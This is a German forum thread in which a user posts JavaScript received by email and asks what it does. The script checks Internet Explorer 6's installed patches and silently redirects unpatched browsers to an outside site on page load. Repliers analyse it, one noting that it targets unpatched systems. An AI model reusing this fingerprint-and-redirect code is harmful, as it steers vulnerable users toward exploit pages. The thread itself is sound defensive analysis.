Udo: Was ist DAS??? (JS per Email)

Hallo,

kann mir jemand sagen, was dieser Code macht?
Hab ich per Mail erhalten, aber passiert ist nix, zumindest nix sichtbares.

<html><head>
<SCRIPT LANGUAGE="javascript">
<!--
function ereg(tofind,tocheck)
{
   exist=tocheck.indexOf(tofind);
   if(exist==-1)
 { return false; }
   else
 { return true; }
}
function FindMaxPatch()
{
 Max=0;

PatchList = clientInformation.appMinorVersion;
 TabSplit=new Array();
 PatchVersTab=new Array();

CharToClear=/\s/g;
 PatchList=PatchList.replace(CharToClear,"");

rech=/;/;
 TabSplit=PatchList.split(rech);

for(i=0,key=0;i<TabSplit.length;i++)
 {
  PatchString=TabSplit[i];
  TempLength=PatchString.length;
  FirstChar=PatchString.substring(0,1);
  FirstChar=FirstChar.toUpperCase();

if(FirstChar=="Q")
  {
   ToKeep=PatchString.substring(1,TempLength);
   PatchVersTab[key]=ToKeep;
   key++;
  }
 }

Max=PatchVersTab[0];
 for(i=0;i<PatchVersTab.length;i++)
 {
  ValTemp=PatchVersTab[i];
  if(ValTemp>Max)
  {
   Max=ValTemp;
  }
 }

return Max;
}

function IsP()
{
 var ms      =   navigator.appVersion;
    PatchList   =   clientInformation.appMinorVersion;
 SP_found    =   ereg("SP",PatchList);

if(ereg("MSIE 6",ms))
 {
  Max=FindMaxPatch();
  if(SP_found == true || Max>=313675)
  {
            }
  else
  {
window.location.href='http://www.commcross.net';
  }
 }
}

//-->

</SCRIPT>
</HEAD>
<BODY onload="IsP();"></BODY>
</HTML>

Wenn ich mir commcross.net aufrufe, seh ich allerdings nur ´ne Baustelle...

Kann mir vllt. jemand was zu dem Code sagen? Bin zwar net nervös, würd aber trotzdem gern wissen, was das soll.

Danke schonmal.

Gruss

Udo

  1. Hallo,

    sieht so aus, als wenn da einfach abgefragt wird, welches System Du hast (Browser, usw.). Wenn bestimmte Voraussetzungen nicht erfüllt sind springt der auf den URL 'http://www.commcross.net'.

    Du wolltest, wie ich glaube, wissen, ob die Mail Dich ausspioniert.
    Nein!

    Gruß
    Reiner

    1. Moin Moin !

      Du wolltest, wie ich glaube, wissen, ob die Mail Dich ausspioniert.
      Nein!

      Was vielleicht daran liegt, daß zwischendurch etwas herausgefiltert wurde, z.B. durch den Mail-Provider.

      if(SP_found == true || Max>=313675)
       {
                 }

      ist zumindest ungewöhnlich. Allerdings sieht der Rest des Codes zumindest auf den ersten Blick so aus, als ob der Autor keine Ahnung von Javascript hatte und aus diversen Scripten was zusammenkopiert hat.

      Alexander

      --
      Nein, ich beantworte keine Fragen per eMail. Dafür ist das Forum da.
      Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so!"
    2. Du wolltest, wie ich glaube, wissen, ob die Mail Dich ausspioniert.
      Nein!

      Ich würde eher vorsichtig Jein sagen. Mit dem Wissen, daß bestimme Patches für den Internet Explorer _nicht_ installiert sind (und nur dann verzweigt er zu der externen Seite), lassen sich eine Menge lustige Überraschungen veranstalten..

      Gruß,
        soenk.e